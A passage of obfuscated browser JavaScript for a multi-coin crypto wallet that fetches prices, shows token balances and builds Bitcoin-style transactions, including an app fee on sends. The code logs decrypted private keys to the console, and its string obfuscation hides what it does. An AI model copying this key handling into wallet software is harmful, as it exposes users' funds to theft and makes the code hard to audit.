_0x375db4=_0x311dae;document[_0x375db4(0x224)+_0x375db4(0x3b4)](_0x375db4(0x1d4)+_0x375db4(0x315))[_0x375db4(0x14c)]='',document[_0x375db4(0x224)+_0x375db4(0x3b4)]('importSect'+_0x375db4(0x2e4))[_0x375db4(0x38f)][_0x375db4(0x21b)]=_0x375db4(0x13d),HideSendSection();const _0x33013a=document['getElement'+_0x375db4(0x3b4)](_0x375db4(0x314)+'tion');_0x33013a[_0x375db4(0x38f)][_0x375db4(0x21b)]==='none'?_0x33013a[_0x375db4(0x38f)][_0x375db4(0x21b)]='block':_0x33013a['style'][_0x375db4(0x21b)]=_0x375db4(0x13d);});async function fetchCryptoPrices(){const _0x551584=_0x311dae;try{const _0x34d614=await fetch('https://ap'+_0x551584(0x1ae)+_0x551584(0x2cf)+_0x551584(0x22d)+_0x551584(0x1b6)+'bitcoin,do'+_0x551584(0x1db)+_0x551584(0x22a)+_0x551584(0x1f6)+_0x551584(0x146)+'sd'),_0xa9672d=await _0x34d614[_0x551584(0x159)]();cryptoPrices['Bitcoin']=_0xa9672d[_0x551584(0x130)][_0x551584(0x320)],cryptoPrices[_0x551584(0x1aa)]=_0xa9672d['dogecoin'][_0x551584(0x320)],cryptoPrices[_0x551584(0x178)]=_0xa9672d[_0x551584(0x142)]['usd'],cryptoPrices[_0x551584(0x1b0)]=_0xa9672d[_0x551584(0x2ee)][_0x551584(0x320)],console[_0x551584(0x169)](_0x551584(0x306)+_0x551584(0x1c5)+'d:',cryptoPrices);}catch(_0x4b863f){console[_0x551584(0x251)](_0x551584(0x1bd)+'hing\x20crypt'+'o\x20prices:',_0x4b863f);}}document[_0x311dae(0x224)+_0x311dae(0x3b4)](_0x311dae(0x211)+_0x311dae(0x2db))['addEventLi'+_0x311dae(0x12c)](_0x311dae(0x1cd),function(){const _0x11b24d=_0x311dae,_0x2eeb23=document[_0x11b24d(0x224)+'ById'](_0x11b24d(0x13f)+_0x11b24d(0x187))['textConten'+'t'];navigator['clipboard']['writeText'](_0x2eeb23)[_0x11b24d(0x257)](function(){const _0x32460b=_0x11b24d;ShowToast(_0x32460b(0x279)+_0x32460b(0x331)+'o\x20clipboar'+'d!');},function(_0x44a390){const _0x52cee4=_0x11b24d;ShowToast(_0x52cee4(0x259)+'copy\x20priva'+_0x52cee4(0x103)),console[_0x52cee4(0x251)]('Error\x20copy'+_0x52cee4(0x286)+_0x52cee4(0x190),_0x44a390);});});async function addAccount(){const _0x165e78=_0x311dae,_0x2db620=document[_0x165e78(0x224)+'ById']('blockchain'+_0x165e78(0x2f3))[_0x165e78(0x17f)],_0x2d0d31=document['getElement'+_0x165e78(0x3b4)]('accountSel'+_0x165e78(0x129)),_0x234429=_0x165e78(0x2fd)+'t_'+_0x2db620+(_0x165e78(0x30b)+'UseIndex');let _0x307ada=parseInt(localStorage[_0x165e78(0x207)](_0x234429),-0x1d3*0x6+0x32*-0x48+0x643*0x4)||0x1958+0xe2*-0x2c+0xd80;if(parseInt(_0x307ada)>=GenerateAccountNumber){ShowToast(_0x165e78(0x1f2)+_0x165e78(0x16e)+_0x165e78(0x3bb)+_0x165e78(0x295)+_0x165e78(0x325)+_0x165e78(0x14f));return;}_0x307ada+=0x6f*-0x3e+0x6b*-0x6+0xd7*0x23,localStorage[_0x165e78(0x3b3)](_0x234429,_0x307ada),await updateAccountSelect(_0x2db620),ShowToast(_0x165e78(0x35f)+(_0x307ada+(0x1923+-0x106d+-0x8b5))+(_0x165e78(0x1ad)+'r\x20')+_0x2db620['toUpperCas'+'e']()),_0x2d0d31[_0x165e78(0x283)+_0x165e78(0x333)]=_0x307ada,await saveSelections(),document[_0x165e78(0x224)+_0x165e78(0x3b4)](_0x165e78(0x11b))[_0x165e78(0x14c)]='0\x20'+_0x2db620[_0x165e78(0x1c4)+'e'](),document['getElement'+_0x165e78(0x3b4)]('usdValue')[_0x165e78(0x14c)]=_0x165e78(0x2b4),document[_0x165e78(0x224)+'ById'](_0x165e78(0x358))[_0x165e78(0x14c)]='';}function _0x1345(){const _0x7814b5=['Do\x20you\x20wan','uint256','ECPair','ent','rn\x20this\x22)(','fallback','d_balance','toString','symbol','APPFee:','/main','dogecoin','(((.+)+)+)','getItem','exception','validateMn','inline-blo','addrs/','sendRawTra','walletUI','transferFr','signTransa','abi','copyPrivat','https://bi','table','8RxknGlIMf','_spender','yModal','nner','allet?\x20thi','trx','option','display','our\x20wallet','signedTran','toWei','erless-inp','UNwiY6w2XW','isAddress','import\x20key','button>','getElement','tion:','Error\x20send','vTU6iYvJ6e','message','balanceOf','ecoin,ethe','sendBitcoi','gechain.in','v3/simple/','Token\x20tran','max','SeedSync','hasOwnProp','or\x20this\x20tr','EstimateFe','orted\x20bloc','nder:','CurrentGen','_owner','dating\x20key','Miner\x20fee:','sendEVMSpi','/0\x27/0/','slice','kchainSele','passwordIn','ss!','select\x20bas','fromWei','accountSel','\x20USD)','net','dress','Error\x20vali','Token\x20sent','https://po','fetch\x20USD\x20','ue()\x22\x20clas','sendEVMBut','entrys','ing\x20TRC20\x20','ether','fromWIF','_per_kb','error','id\x20address','Amount\x20adj','ansaction.','ease\x20enter','get\x20accoun','then','d_walletPa','Failed\x20to\x20','Send\x20Succe','YjQqUW1sIC','createElem','ipboard!','sendETHSec','yId(\x27balan','format.','btc','confirm','getAttribu','\x19Litecoin\x20','counts\x20aft','string','fromSeed','call','Input','ith\x20hash:','FeeRecieve','d():','change','innerHTML','show\x20Modal','senderAddr','ing\x20coin:','importButt','get\x20balanc','keys:','hing\x20USD\x20p','trim','-light\x22><i','n\x20sent!\x20TX','Private\x20ke','3416077xuTkEY','medium_fee','ir.com/','onic!','ess:','essful\x20wit','search','Please\x20ent','t\x20matches.','selectedIn','er\x20a\x20passw','getBalance','ing\x20privat','data','0x...u9','_value','s\x20too\x20smal','Invalid\x20TR','PriceKey','11054016SQsrmW','ssfully!','background','#passwordP','keyPair:','he\x20private','Rfc3OG4Ev/','i.blockcyp','nly\x20add\x20ac','ted!\x0aTrans','eth','Address\x20co','l\x20*Clear*\x20','dETHButton','No\x20saved\x20p','\x22copyTXVal','/Token','sendTRXSec','aved\x20succe','tx_output_','rgin-right','\x20current\x20w','ction','name','console','Index','utblgNSK6Y','saction\x20su','usted\x20to\x20','onRange','send','totalSuppl','index:','send\x20TRX.','word','assword\x20fo','AES','encrypted_','Tron','0\x20USD','price.','walletPass','encrypt','qrcode','hash','\x20from\x20mnem','bind','TRC20\x20toke','MnemonicPa','disabled','get\x20Balanc','gxgq585rOr','forEach','importSect','CoinAmount','TRX\x20sent!\x20','NetworkPar','/doge/main','ut\x22\x20id=\x22TX','img/','e=\x22text\x22\x20c','Unknown','t_selected','sendSpinne','n/transact','send\x20token','o.com/api/','+VJfOmwElR','herscan.io','rting\x20key:','nt\x20funds\x20f','writeText','counts:','nBuilder','AccountInd','/addrs/','I\x20Endpoint','rawTransac','eKeyButton','data-icon','MaxAPPFee','Failed:','tokenAmoun','constructo','/main/addr','nd:','rAddress:','ion','geblocks.c','eum)','Key\x20import','Insufficie','generateMn','getContrac','tETH','h\x20button..','pbN+NQ==','ethereum','Signed\x20Mes','trace','liveToast','Send\x20','Select','Blockchain','doge','ing\x20TRX:','nonce:','setSelecti','dButton','BroadcastT','putETH','tokenBalan','MultiWalle','in.','filteredTo','s\x20step\x20wil','Please\x20fil','ey.','Unsupporte','728515wwaMOe','getId','Crypto\x20pri','Image','emonic','hide','load','_accounts_','?unspentOn','apply','ValidatePa','importKeyB','\x20key.','lygon.llam','amountInpu','ETH\x20sent!\x20','RestoreSec','nID','nName:','Incorrect\x20','\x20key\x20is\x20co','gasLimit:','Selected\x20i','\x20USD','px;\x20height','/txs/push','nt\x20found.','TRX\x20(Tron)','usd','5654520cifsQn','und.','ton','ance\x20accou','count\x20by\x20i','tokens','You\x20clicke','decimals','TXValueInp','event','ISavedItBu','/main/txs/','ion/','uccessfull','accounts','um\x20address','y\x20copied\x20t','...','dex','ction\x20succ','loginButto','set\x20refres','sendTRXSpi','removeItem','ValueInput','amountInSu','rateAccoun','MnemonicTe','receiverIn','addOutput','ToSpecify.','ce\x27).value','receiver:','txb:','payable','DefaultMin','evm','totalInput','bnb','ntIndex:','3TfDFiB','retrieve\x20t','toHex','Invalid\x20mn','\x20Maybe\x20sen','txid','max59VBivB','ChangeToSe','mnemonicTo','encodeFunc','6CSEbfA','Invalid\x20Tr','*All*\x20of\x20y','token:','erty','usdValue','nce:Unsupp','classList','warn','y\x20restored','parse','ockchair.c','Account\x20','nonpayable','t\x20(in\x20smal','tTRX','/btc/main/','arpc.com','APPFee\x20cal','src','sage:\x0a','ed\x20success','er\x20a\x20valid','nLike...','owner','function','m/44\x27/2\x27/0','fully\x20for\x20','d\x20blockcha','tonID','input','copy\x20text:','Done,Walle','bool','saction:','J6mgml11+a','sendButton','address:','Toast','sendEVMTok','no\x20balance','dBalanceID','add','r\x20fee.','decrypt','_accounts','\x20amount.','nd\x20+\x20fee:','hing\x20balan','\x22\x20alt=\x22Ima','fo/api/v1/','Error\x20broa','fee:','hash:','Password\x20s','selectedTo','fade-flash','n\x20sent!\x20','broadcast\x20','address','style','length','8SRhxV98TI','ate:','appendChil','\x27/0/','\x20data','nction()\x20','tion/','TronTokenB','url(','binancecoi','enc','clipboard','t\x20found.','QRCode','utID','t\x20for\x20mine','txData:','eum.','location','ToSend:','_to','Blockchair','ndex:\x20','reum\x20addre','tonText','toFixed','allowance','sendSectio','\x20provided.','derivePath','txs/push','Login\x20succ','https://tr','estimateGa','setItem','ById','contract','existingAc',':\x2020px;\x20ma','tron','utxos:','execComman','imit,can\x20o','new\x20amount','TRX\x20transa','1x...u9','/push/tran','networks','BlockExplo','pied\x20to\x20cl','D5...8p','ttonid','i.trongrid','\x20again.','fromPrivat','ltc','pushtx','feeDisplay','APIEndpoin','Import\x20Coi','https://ap','Copied:\x20','com/tx/','cast.','unt,\x20\x27ethe','onclick','RefreshBal','url','web3.utils','te\x20key.','transfer','.toWei(amo','push','build','getGasPric','TX\x20Hash:\x20','tx_hash','amount:','.io','isHexStrin','MinAPPFee',':\x205px;\x22></','txrefs','addInput','broadcastT','on5T6BOEAX','h.llamarpc','!\x20TX\x20Hash:','payments','SetPassBut','put','.\x20Please\x20e','pe=\x22button','balance','https://bs','553768ZoBgxF','Doge','s\x20too\x20low.','700969SjmOoH','getOrCreat','\x20details:','tionCount','on/','sendTRXBut','mg\x20src=\x22im','utils','fetchUtxos','ect','tIndex:','copy\x20addre','stener','_from','lass=\x22bord','contractAd','bitcoin','/balance','KmMeMA==','tokenSelec','tx/','inline','fromMnemon','feeSlider','Unconfirme','eKey','g/copy.png','enteredPas','u7NyMCIVD4','none','tid','privateKey','Invalid\x20ev','f/dmkser/Y','litecoin','loginSecti','confirmSen','ecimals:','rrencies=u','importBloc','hing\x20fee\x20r','\x22\x20readonly','/transacti','options','innerText','Utf8','M1pK6S5vTV','mporting','.toHex(awa','nter\x20a\x20val','APPFee','Bitcoin','m\x20private\x20','UseIndex','Symbol','.png','t_encrypte','json','#privateKe','Contract','txHex:','eInstance','l\x20or\x20fee\x20i','Error\x20impo','kenAddress','\x20Hash:\x20','ON\x20address','s=\x22btn\x20btn','m/44\x27/60\x27/','ssword','Gas\x20Limit:','CHHO/30Ezu','e\x20No\x20accou','log','block','addEventLi','restoreBut','password.\x20','accounts\x20l','<input\x20typ','textConten','lest\x20unit)','Have\x20Chang','ETH\x20(Ether','toLowerCas','applicatio','pubKey:','POST','Litecoin','BitcoinLik','TokenList','\x20a\x20valid\x201','approve','sendSigned','key.','value','https://do','ork','onscan.org','her.com/v1','account\x20no','Estimated\x20','om/dogecoi','Text','splice','catch','sful\x20with\x20','DecryptKey','ce:\x20','select','uint8','methods','e\x20key:\x20','sign','Approval','ord.','toSun','ge\x22\x20style=','\x20No\x20accoun','ly=true','khCg5Vdfhy','hex','\x20private\x20k','view','cryptoLogo','d\x20amount\x20i','tokenList','modal','{}.constru','/tx/','n\x20failed:','blockchain','10579850Elylmp','p2pkh','https://bl','RPCURL','CoinType:','anceButton','Dogecoin','dcasting\x20t','publicKey','\x20loaded\x20fo','i.coingeck','encode','Ethereum','Balance:\x200','n/json','emonic.\x20Pl','transactio','chain.com/','price?ids=','Wallet','U2FsdGVkX1','kchain.','updateAcco','rer','bip32','Error\x20fetc','https://et','hing\x20token','sword:','gasLimit','h.net.getI','enDecimals','toUpperCas','ces\x20fetche','&vs_curren','hzHqfQt4L4','nHash','\x20address:','romptModal','show','/#/transac','click','m/44\x27/195\x27','erFee','d\x20\x27Yes\x27','untSelect\x20','unconfirme','i.blockcha','Transactio','alance','ransaction','Value:','8Ulsxic','h\x20hash:','info','gecoin,lit','sswordInpu','matic-netw','Error:\x20','stringify','FDJ7BLIzOm','from','body','text','j7IeFw==','n\x20could\x20no','tion','Please\x20try','ex:','ce:','popupModal','\x19Dogecoin\x20','MnemonicSe','document.g','NetworkTyp','setAddress','filter','balance:','Reach\x20Max\x20','querySelec','pow','m/44\x27/3\x27/0','reum&vs_cu','r\x27):','n\x20Broadcas','tionCall'];_0x1345=function(){return _0x7814b5;};return _0x1345();}window['addEventLi'+'stener'](_0x311dae(0x30a),async function(){await fetchCryptoPrices();});const blockchainSelect=document['getElement'+_0x311dae(0x3b4)](_0x311dae(0x1a3)+_0x311dae(0x2f3)),importBlockchainSelect=document[_0x311dae(0x224)+'ById'](_0x311dae(0x147)+_0x311dae(0x23d)+'ct');loadBlockchainOptions(blockchainSelect),loadBlockchainOptions(importBlockchainSelect),LoginOrInit();function getSelectedIndex(){const _0x509515=_0x311dae,_0x138e5d=document[_0x509515(0x224)+'ById']('accountSel'+_0x509515(0x129)),_0x5c6c90=_0x138e5d[_0x509515(0x283)+'dex'];alert(_0x509515(0x31a)+_0x509515(0x3a7)+_0x5c6c90);}function showPopup(){const _0x496f96=_0x311dae;document['getElement'+_0x496f96(0x3b4)]('popupModal')['style']['display']=_0x496f96(0x16a),displayTokens();}function displayTokens(){const _0x1bfdac=_0x311dae,_0xd2d295=document['getElement'+_0x1bfdac(0x3b4)](_0x1bfdac(0x1a3)+_0x1bfdac(0x2f3)),_0x38d152=_0xd2d295[_0x1bfdac(0x14b)][_0xd2d295['selectedIn'+_0x1bfdac(0x333)]]['innerText'];var _0x1c3eff=CoinsJson[_0x38d152][_0x1bfdac(0x17a)][_0x1bfdac(0x326)];const _0x1a0aff=document[_0x1bfdac(0x224)+_0x1bfdac(0x3b4)](_0x1bfdac(0x19e));_0x1a0aff[_0x1bfdac(0x26e)]='',_0x1c3eff[_0x1bfdac(0x2c1)](_0x295bd3=>{const _0x30ab6c=_0x1bfdac,_0x1a70b5=document[_0x30ab6c(0x25c)+_0x30ab6c(0x1fd)]('li');_0x1a70b5[_0x30ab6c(0x170)+'t']=_0x295bd3['name']+'\x20('+_0x295bd3[_0x30ab6c(0x202)]+')',_0x1a70b5['onclick']=()=>selectToken(CoinsJson[_0x38d152][_0x30ab6c(0x1ee)+'e'],_0x295bd3[_0x30ab6c(0x38e)],_0x295bd3['name']),_0x1a0aff['appendChil'+'d'](_0x1a70b5);});}function selectToken(_0x34a62,_0x3cb727,_0x2382bd){const _0x5391f5=_0x311dae;selectedTokenAddress=_0x3cb727,selectedTokenName=_0x2382bd;const _0x152954=document[_0x5391f5(0x224)+_0x5391f5(0x3b4)](_0x5391f5(0x1a3)+_0x5391f5(0x2f3)),_0x5ee416=_0x152954[_0x5391f5(0x14b)][_0x152954[_0x5391f5(0x283)+_0x5391f5(0x333)]][_0x5391f5(0x14c)];console[_0x5391f5(0x169)](_0x5391f5(0x38a)+_0x5391f5(0x160)+':',selectedTokenAddress),closePopup();if(selectedTokenName==CoinsJson[_0x5ee416]['symbol']){console['log'](_0x5391f5(0x240)+'ecoin..'),document['getElement'+_0x5391f5(0x3b4)](_0x5391f5(0x2fc)+'ce')[_0x5391f5(0x170)+'t']='';return;}if(_0x34a62==_0x5391f5(0x345))document[_0x5391f5(0x224)+_0x5391f5(0x3b4)](_0x5391f5(0x133)+_0x5391f5(0x2eb))[_0x5391f5(0x170)+'t']=_0x2382bd,fetchEVMTokenBalance();else _0x34a62==_0x5391f5(0x3b8)&&(document['getElement'+_0x5391f5(0x3b4)](_0x5391f5(0x133)+_0x5391f5(0x362))['textConten'+'t']=_0x2382bd,fetchTronTokenBalance());}function closePopup(){const _0x29e81b=_0x311dae;document[_0x29e81b(0x224)+_0x29e81b(0x3b4)](_0x29e81b(0x1ea))[_0x29e81b(0x38f)]['display']='none';}async function fetchTronTokenBalance(){const _0x49adff=_0x311dae,_0x1b25ca=document[_0x49adff(0x224)+_0x49adff(0x3b4)](_0x49adff(0x242)+_0x49adff(0x129))[_0x49adff(0x17f)];if(!selectedTokenAddress||!_0x1b25ca){document['getElement'+'ById'](_0x49adff(0x398)+_0x49adff(0x1d5))[_0x49adff(0x170)+'t']=_0x49adff(0x1b1);return;}var _0x39eadd=_0x1b25ca;console[_0x49adff(0x169)]('tronAddres'+'s:',_0x39eadd);var _0x380102=selectedTokenAddress;const _0x544667=new TronWeb({'fullHost':'https://ap'+_0x49adff(0x3c5)+_0x49adff(0x10c)});if(!_0x544667[_0x49adff(0x221)](_0x39eadd)){ShowToast(_0x49adff(0x28b)+_0x49adff(0x162)+_0x49adff(0x119)+_0x49adff(0x151)+_0x49adff(0x252)+'.');return;}_0x544667[_0x49adff(0x1ef)](_0x39eadd);try{const _0x3e3e3c=await _0x544667[_0x49adff(0x3b5)]()['at'](_0x380102),_0x257328=await _0x3e3e3c[_0x49adff(0x229)](_0x39eadd)[_0x49adff(0x268)](),_0x1ff5c6=await _0x3e3e3c['decimals']()[_0x49adff(0x268)](),_0x5cdc21=_0x257328/Math[_0x49adff(0x1f4)](-0x713+0x16d9*0x1+-0xfbc,_0x1ff5c6);document[_0x49adff(0x224)+'ById'](_0x49adff(0x398)+_0x49adff(0x1d5))['textConten'+'t']='Balance:\x20'+_0x5cdc21+'\x20'+selectedTokenName;}catch(_0x1031d5){console[_0x49adff(0x251)](_0x49adff(0x1bd)+_0x49adff(0x383)+_0x49adff(0x18c),_0x1031d5),document['getElement'+_0x49adff(0x3b4)](_0x49adff(0x398)+_0x49adff(0x1d5))[_0x49adff(0x170)+'t']=_0x49adff(0x1b1);}}async function fetchEVMTokenBalance(){const _0x5c2f86=_0x311dae,_0x576067=document[_0x5c2f86(0x224)+_0x5c2f86(0x3b4)]('accountSel'+_0x5c2f86(0x129))[_0x5c2f86(0x17f)];if(!selectedTokenAddress||!_0x576067){document[_0x5c2f86(0x224)+_0x5c2f86(0x3b4)](_0x5c2f86(0x2fc)+'ce')[_0x5c2f86(0x170)+'t']='Balance:\x200';return;}const _0x49cac5=[{'constant':!![],'inputs':[{'name':_0x5c2f86(0x237),'type':_0x5c2f86(0x38e)}],'name':_0x5c2f86(0x229),'outputs':[{'name':_0x5c2f86(0x11b),'type':_0x5c2f86(0x1fb)}],'type':_0x5c2f86(0x36c)},{'constant':!![],'inputs':[],'name':'decimals','outputs':[{'name':'','type':_0x5c2f86(0x18e)}],'type':_0x5c2f86(0x36c)}],_0x3bbcd1=document[_0x5c2f86(0x224)+_0x5c2f86(0x3b4)](_0x5c2f86(0x1a3)+_0x5c2f86(0x2f3)),_0x16516f=_0x3bbcd1['options'][_0x3bbcd1[_0x5c2f86(0x283)+'dex']][_0x5c2f86(0x14c)],_0x4807b6=new Web3(CoinsJson[_0x16516f][_0x5c2f86(0x1a7)]),_0x8fa795=new _0x4807b6[(_0x5c2f86(0x297))][(_0x5c2f86(0x15b))](_0x49cac5,selectedTokenAddress);try{const _0x4c5925=await _0x8fa795[_0x5c2f86(0x18f)]['balanceOf'](_0x576067)[_0x5c2f86(0x268)](),_0x57f60b=await _0x8fa795[_0x5c2f86(0x18f)][_0x5c2f86(0x328)]()[_0x5c2f86(0x268)](),_0x8485e3=parseInt(_0x4c5925)/Math['pow'](-0x1112+0x1*0x3d1+0x1*0xd4b,parseInt(_0x57f60b));document['getElement'+_0x5c2f86(0x3b4)](_0x5c2f86(0x2fc)+'ce')[_0x5c2f86(0x170)+'t']='Balance:\x20'+_0x8485e3+'\x20'+selectedTokenName;}catch(_0x5c90c6){console[_0x5c2f86(0x251)](_0x5c2f86(0x1bd)+'hing\x20balan'+_0x5c2f86(0x1e9),_0x5c90c6),document[_0x5c2f86(0x224)+_0x5c2f86(0x3b4)](_0x5c2f86(0x2fc)+'ce')[_0x5c2f86(0x170)+'t']=_0x5c2f86(0x1b1);}}async function filterTokens(){const _0x163708=_0x311dae,_0x395793=document[_0x163708(0x224)+_0x163708(0x3b4)]('tokenSearc'+'h')[_0x163708(0x17f)][_0x163708(0x174)+'e'](),_0x31cfc0=document['getElement'+_0x163708(0x3b4)](_0x163708(0x1a3)+_0x163708(0x2f3)),_0x45b586=_0x31cfc0['options'][_0x31cfc0[_0x163708(0x283)+_0x163708(0x333)]][_0x163708(0x14c)],_0x16082f=new Web3(CoinsJson[_0x45b586][_0x163708(0x1a7)]);if(_0x16082f[_0x163708(0x127)][_0x163708(0x221)](_0x395793)){console['log']('Valid\x20Ethe'+_0x163708(0x3a8)+'ss');const _0x287737=[{'constant':!![],'inputs':[],'name':_0x163708(0x2a4),'outputs':[{'name':'','type':_0x163708(0x266)}],'payable':![],'stateMutability':_0x163708(0x19b),'type':_0x163708(0x36c)},{'constant':!![],'inputs':[],'name':'symbol','outputs':[{'name':'','type':_0x163708(0x266)}],'payable':![],'stateMutability':_0x163708(0x19b),'type':'function'}];try{document[_0x163708(0x224)+_0x163708(0x3b4)](_0x163708(0x19e))['innerHTML']='';const _0x45f08a=new _0x16082f[(_0x163708(0x297))][(_0x163708(0x15b))](_0x287737,_0x395793),_0x603984=await _0x45f08a[_0x163708(0x18f)][_0x163708(0x2a4)]()['call'](),_0xda63a4=await _0x45f08a[_0x163708(0x18f)][_0x163708(0x202)]()['call'](),_0x2d2d5a=document[_0x163708(0x224)+'ById']('tokenList'),_0x4ad9ec=document[_0x163708(0x25c)+_0x163708(0x1fd)]('li');_0x4ad9ec[_0x163708(0x170)+'t']=_0x603984+'\x20('+_0xda63a4+')';const _0xa2032a=document[_0x163708(0x224)+_0x163708(0x3b4)](_0x163708(0x1a3)+'Select'),_0x2a2c31=_0xa2032a[_0x163708(0x14b)][_0xa2032a[_0x163708(0x283)+_0x163708(0x333)]]['innerText'];_0x4ad9ec[_0x163708(0xff)]=()=>selectToken(CoinsJson[_0x2a2c31][_0x163708(0x1ee)+'e'],_0x395793,_0x603984),_0x2d2d5a['appendChil'+'d'](_0x4ad9ec);}catch(_0x599cdb){console[_0x163708(0x251)]('Error\x20fetc'+_0x163708(0x1bf)+_0x163708(0x122),_0x599cdb);}}else{console[_0x163708(0x169)]('not\x20Ethere'+_0x163708(0x330));var _0x542aa8=CoinsJson[_0x45b586]['TokenList'][_0x163708(0x326)];const _0x4f071d=_0x542aa8[_0x163708(0x1f0)](_0x425cda=>_0x425cda[_0x163708(0x2a4)][_0x163708(0x174)+'e']()['includes'](_0x395793));console[_0x163708(0x169)](_0x163708(0x2ff)+'kens:',_0x4f071d),displayFilteredTokens(_0x4f071d);}}function displayFilteredTokens(_0x4aece7){const _0x311421=_0x311dae,_0x47d614=document['getElement'+_0x311421(0x3b4)](_0x311421(0x19e));_0x47d614[_0x311421(0x26e)]='';const _0x396bf1=document[_0x311421(0x224)+_0x311421(0x3b4)]('blockchain'+_0x311421(0x2f3)),_0x49cb27=_0x396bf1[_0x311421(0x14b)][_0x396bf1['selectedIn'+_0x311421(0x333)]][_0x311421(0x14c)];_0x4aece7[_0x311421(0x2c1)](_0x79ee47=>{const _0x5c1609=_0x311421,_0x2abe31=document[_0x5c1609(0x25c)+'ent']('li');_0x2abe31['textConten'+'t']=_0x79ee47[_0x5c1609(0x2a4)]+'\x20('+_0x79ee47['symbol']+')',_0x2abe31[_0x5c1609(0xff)]=()=>selectToken(CoinsJson[_0x49cb27]['NetworkTyp'+'e'],_0x79ee47['address'],_0x79ee47[_0x5c1609(0x2a4)]),_0x47d614[_0x5c1609(0x393)+'d'](_0x2abe31);});}async function ShowRefreshButton(){const _0x44e3ff=_0x311dae;document[_0x44e3ff(0x224)+_0x44e3ff(0x3b4)](_0x44e3ff(0x100)+_0x44e3ff(0x1a9)+'ID')['hidden']=![],console['log'](_0x44e3ff(0x336)+_0x44e3ff(0x2ec));}function decryptPrivateKey(_0x14d0dc){const _0x57897d=_0x311dae;return CryptoJS['AES'][_0x57897d(0x37f)](_0x14d0dc,pass)[_0x57897d(0x201)](CryptoJS['enc'][_0x57897d(0x14d)]);}async function EstimateFee(){const _0x147cc9=_0x311dae;console[_0x147cc9(0x169)](_0x147cc9(0x233)+'e...'),document[_0x147cc9(0x224)+'ById'](_0x147cc9(0x33d)+_0x147cc9(0x118))[_0x147cc9(0x2be)]=!![],document[_0x147cc9(0x224)+'ById'](_0x147cc9(0x312)+'t')['disabled']=!![];try{const _0x44f5ce=document[_0x147cc9(0x224)+_0x147cc9(0x3b4)](_0x147cc9(0x1a3)+_0x147cc9(0x2f3)),_0x1f612b=_0x44f5ce[_0x147cc9(0x14b)][_0x44f5ce[_0x147cc9(0x283)+_0x147cc9(0x333)]][_0x147cc9(0x14c)];var _0x28202a=CoinsJson[_0x1f612b]['NetworkPar'+'a'];const _0x4ee5d3=loadKeysFromLocalStorage(CoinsJson[_0x1f612b][_0x147cc9(0x202)]);var _0x304044=document['getElement'+_0x147cc9(0x3b4)]('accountSel'+_0x147cc9(0x129))[_0x147cc9(0x283)+'dex'];const {address:_0x12a24d,privateKey:_0x1f8203}=_0x4ee5d3[_0x304044];console[_0x147cc9(0x169)]('address:',_0x12a24d);var _0x300674=_0x12a24d;const _0x30a0b9=CryptoJS[_0x147cc9(0x2b1)][_0x147cc9(0x37f)](_0x1f8203,pass)['toString'](CryptoJS[_0x147cc9(0x39b)][_0x147cc9(0x14d)]);console[_0x147cc9(0x169)]('DecryptKey'+':',_0x30a0b9);const _0x50414a=bitcoin[_0x147cc9(0x1fc)]['fromWIF'](_0x30a0b9,_0x28202a);console[_0x147cc9(0x169)](_0x147cc9(0x291),_0x50414a);var _0x1bf3b9=bitcoin[_0x147cc9(0x116)][_0x147cc9(0x1a5)]({'pubkey':_0x50414a[_0x147cc9(0x1ac)],'network':_0x28202a})['address'];console[_0x147cc9(0x169)](_0x147cc9(0x176),_0x1bf3b9);if(_0x12a24d!==_0x1bf3b9){ShowToast(_0x147cc9(0x184)+_0x147cc9(0x282)),EnableInput();return;}const _0x1dc2f3=new bitcoin[(_0x147cc9(0x1d4))+(_0x147cc9(0x2d6))](_0x28202a),_0x44d492=await fetchUtxos(_0x1f612b,_0x1bf3b9);let _0x2523ef=-0x1315*0x1+-0x248f+-0x2*-0x1bd2;console[_0x147cc9(0x169)](_0x147cc9(0x3b9),_0x44d492),_0x44d492[_0x147cc9(0x2c1)](_0x597e44=>{const _0x43ecbc=_0x147cc9;_0x1dc2f3['addInput'](_0x597e44[_0x43ecbc(0x10a)],_0x597e44[_0x43ecbc(0x2a0)+'n'],-0x7ba2cc68+-0x17c4459cb+-0x17bf39319*-0x2),_0x2523ef+=_0x597e44[_0x43ecbc(0x17f)];});if(_0x2523ef<CoinsJson[_0x1f612b][_0x147cc9(0x344)+_0x147cc9(0x1cf)]){console[_0x147cc9(0x169)](_0x147cc9(0x37b)),EnableInput();return;}var _0x488fb4=CoinsJson[_0x1f612b][_0x147cc9(0x344)+'erFee'];_0x488fb4=parseInt(document[_0x147cc9(0x224)+_0x147cc9(0x3b4)](_0x147cc9(0x137))['value']*(-0x4fb56a0+0x576649a+0x57ad306)),console[_0x147cc9(0x169)]('fee:',_0x488fb4);let _0x196a21=0x1db9*-0x1+-0xb20+0x28da;var _0x3a219f=parseInt(_0x196a21*(0x7*0x16a1d4b+0x18*0x20f9b7+-0x7085535));console['log'](_0x147cc9(0x346)+_0x147cc9(0x1d7),_0x2523ef),console[_0x147cc9(0x169)]('amountToSe'+_0x147cc9(0x382),_0x3a219f+_0x488fb4);const _0x3197e3=document['getElement'+_0x147cc9(0x3b4)]('accountSel'+_0x147cc9(0x129))[_0x147cc9(0x283)+_0x147cc9(0x333)];console[_0x147cc9(0x169)](_0x147cc9(0x1f1),_0x2523ef);const _0x14b98a=CoinsJson[_0x1f612b]['APPFee'];let _0x145085=parseInt(_0x3a219f*_0x14b98a/(0x2*-0x15a+-0x85b+0x3*0x4fd));console['log'](_0x147cc9(0x365)+':',_0x145085);if(_0x145085<CoinsJson[_0x1f612b][_0x147cc9(0x10e)])_0x145085=CoinsJson[_0x1f612b]['MinAPPFee'];else _0x145085>CoinsJson[_0x1f612b]['MaxAPPFee']&&(_0x145085=CoinsJson[_0x1f612b][_0x147cc9(0x2dd)]);var _0x48baff=!![];_0x3a219f>=_0x2523ef-_0x488fb4-_0x145085&&(_0x3a219f=parseInt(_0x2523ef-_0x488fb4-_0x145085),console['log'](_0x147cc9(0x3bc)+_0x147cc9(0x3a4),_0x3a219f),_0x48baff=![]);if(_0x2523ef<_0x3a219f+_0x488fb4+_0x145085){ShowToast(_0x147cc9(0x2e8)+_0x147cc9(0x2d3)+_0x147cc9(0x232)+_0x147cc9(0x254)),EnableInput();return;}var _0x5cb50d=parseInt(_0x2523ef-_0x3a219f-_0x488fb4-_0x145085);console['log']('amountToSe'+_0x147cc9(0x2e2),_0x3a219f),console[_0x147cc9(0x169)](_0x147cc9(0x239),_0x488fb4),console[_0x147cc9(0x169)](_0x147cc9(0x203),_0x145085),console[_0x147cc9(0x169)](_0x147cc9(0x350)+_0x147cc9(0x235),_0x5cb50d),_0x1dc2f3[_0x147cc9(0x33e)](_0x300674,_0x3a219f);var 